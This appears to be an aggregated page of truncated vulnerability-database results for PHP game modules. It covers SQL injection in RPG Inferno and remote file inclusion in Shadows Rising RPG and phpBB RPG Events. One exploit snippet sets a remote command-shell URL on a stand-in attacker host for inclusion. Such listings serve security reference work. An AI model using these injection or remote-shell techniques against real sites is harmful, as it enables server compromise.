CVE-2007-3687

SQL injection vulnerability in inferno.php in the Inferno Technologies RPG Inferno 2.4 and earlier, a vBulletin module, allows remote authenticated attackers to execute arbitrary SQL commands via the id parameter in a ScanMember do action...

rpginferno-sql.txt

--==+================================================================================+==-- --==+ RPG Inferno v2.4 SQL Injection Vulnerability +==-- --==+================================================================================+==-- AUTHOR: t0pP8uZz & xprog SITE:...

CVE-2007-3687: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in inferno.php in the Inferno Technologies RPG Inferno 2.4 and earlier, a vBulletin module, allows remote authenticated attackers to execute arbitrary SQL commands via the id parameter in a ScanMember do action...

vBulletin Mod RPG Inferno 2.4 - inferno.php SQL Injection

vBulletin Mod RPG Inferno 2.4 - inferno.php SQL Injection --==+================================================================================+==-- --==+ RPG Inferno v2.4 SQL Injection Vulnerability +==-- --==+================================================================================+==--...

vBulletin Mod RPG Inferno 2.4 - 'inferno.php' SQL Injection

--==+================================================================================+==-- --==+ RPG Inferno v2.4 SQL Injection Vulnerability +==-- --==+================================================================================+==-- AUTHOR: t0pP8uZz & xprog SITE:...

vBulletin Mod RPG Inferno 2.4 (inferno.php) SQL Injection Vulnerability

Exploit for unknown platform in category web applications ======================================================================= vBulletin Mod RPG Inferno 2.4 inferno.php SQL Injection Vulnerability =======================================================================...

Shadows Rising RPG远程文件包含漏洞

Shadows Rising RPG是一款基于PHP的论坛程序。 Shadows Rising RPG不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于多个脚本对用户提交的'CONFIGgameroot'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 Shadows Rising RPG Shadows Rising RPG 0.0.5b Pre Alpha http://sourceforge.net/projects/shadowsrising/...

phpbbrpg-rfi.txt

!/usr/bin/perl PHPBB RPG Events 1.0.0 Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://mods.best-dev.com/old/files/rpgevents-part2.zip use IO::Socket; use LWP::Simple; $cmdshell="http://attacker.com/cmd.txt"; ";$cmd = ; while$cmd !...

phpBB RPG Events 1.0 functions_rpg_events Remote File Include Exploit

Exploit for unknown platform in category web applications ===================================================================== phpBB RPG Events 1.0 functionsrpgevents Remote File Include Exploit ===================================================================== !/usr/bin/perl PHPBB RPG Events...

phpBB RPG Events 1.0 - functions_rpg_events Remote File Inclusion

phpBB RPG Events 1.0 - functionsrpgevents Remote File Inclusion !/usr/bin/perl PHPBB RPG Events 1.0.0 Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high...

phpBB RPG Events 1.0 functions_rpg_events Remote File Include Exploit

No description provided by source. !/usr/bin/perl PHPBB RPG Events 1.0.0 Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high...

phpBB RPG Events 1.0 - 'functions_rpg_events' Remote File Inclusion

!/usr/bin/perl PHPBB RPG Events 1.0.0 Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://mods.best-dev.com/old/files/rpgevent...

CVE-2006-4329

Multiple PHP remote file inclusion vulnerabilities in Shadows Rising RPG Pre-Alpha 0.0.5b and earlier allow remote attackers to execute arbitrary PHP code via a URL in the CONFIGgameroot parameter to 1 core/includes/security.inc.php, 2 core/includes/smarty.inc.php, 3 qcms/includes/smarty.inc.php ...

CVE-2006-4329

Multiple PHP remote file inclusion vulnerabilities affect Shadows Rising RPG (Pre-Alpha) 0.0.5b and earlier. The flaw allows an attacker to supply a URL via CONFIG[gameroot] that targets one of four include paths (core/includes/security.inc.php, core/includes/smarty.inc.php, qcms/includes/smarty....

CVE-2006-4329

Multiple PHP remote file inclusion vulnerabilities in Shadows Rising RPG Pre-Alpha 0.0.5b and earlier allow remote attackers to execute arbitrary PHP code via a URL in the CONFIGgameroot parameter to 1 core/includes/security.inc.php, 2 core/includes/smarty.inc.php, 3 qcms/includes/smarty.inc.php ...

CVE-2006-4329: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in Shadows Rising RPG Pre-Alpha 0.0.5b and earlier allow remote attackers to execute arbitrary PHP code via a URL in the CONFIGgameroot parameter to 1 core/includes/security.inc.php, 2 core/includes/smarty.inc.php, 3 qcms/includes/smarty.inc.php ...

Phaos 0.9.2 - 'basename()' Remote Command Execution

DEVIL TEAM IRC: irc.milw0rm.com:6667 devilteam http://www.rahim.webd.pl/ ======== Contact: [email protected] cod3d by Kacper -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Greetings DragonHeart and all DEVIL TEAM Patriots : - Leito & Leon TomZen, Gelo, Ramzes, DMX,...

Shadows Rising RPG <= 0.0.5b Remote File Include Vulnerabilities

Exploit for unknown platform in category web applications ================================================================ Shadows Rising RPG = 0.0.5b Remote File Include Vulnerabilities ================================================================ / + + - - - DEVIL TEAM THE BEST POLISH TEAM -...

Shadows Rising RPG 0.0.5b - Remote File Inclusion

Shadows Rising RPG 0.0.5b - Remote File Inclusion / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - Shadows Rising RPG Pre-Alpha = 0.0.5b CONFIGgameroot Remote File Include Vulnerability + + + - Script name: Shadows Rising RPG Pre-Alpha v. 0.0.5b - Script site:...

Shadows Rising RPG &lt;= 0.0.5b Remote File Include Vulnerabilities

No description provided by source. / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - Shadows Rising RPG Pre-Alpha = 0.0.5b CONFIGgameroot Remote File Include Vulnerability + + + - Script name: Shadows Rising RPG Pre-Alpha v. 0.0.5b - Script site: http://sourceforge.net/projects/shadowsrisin...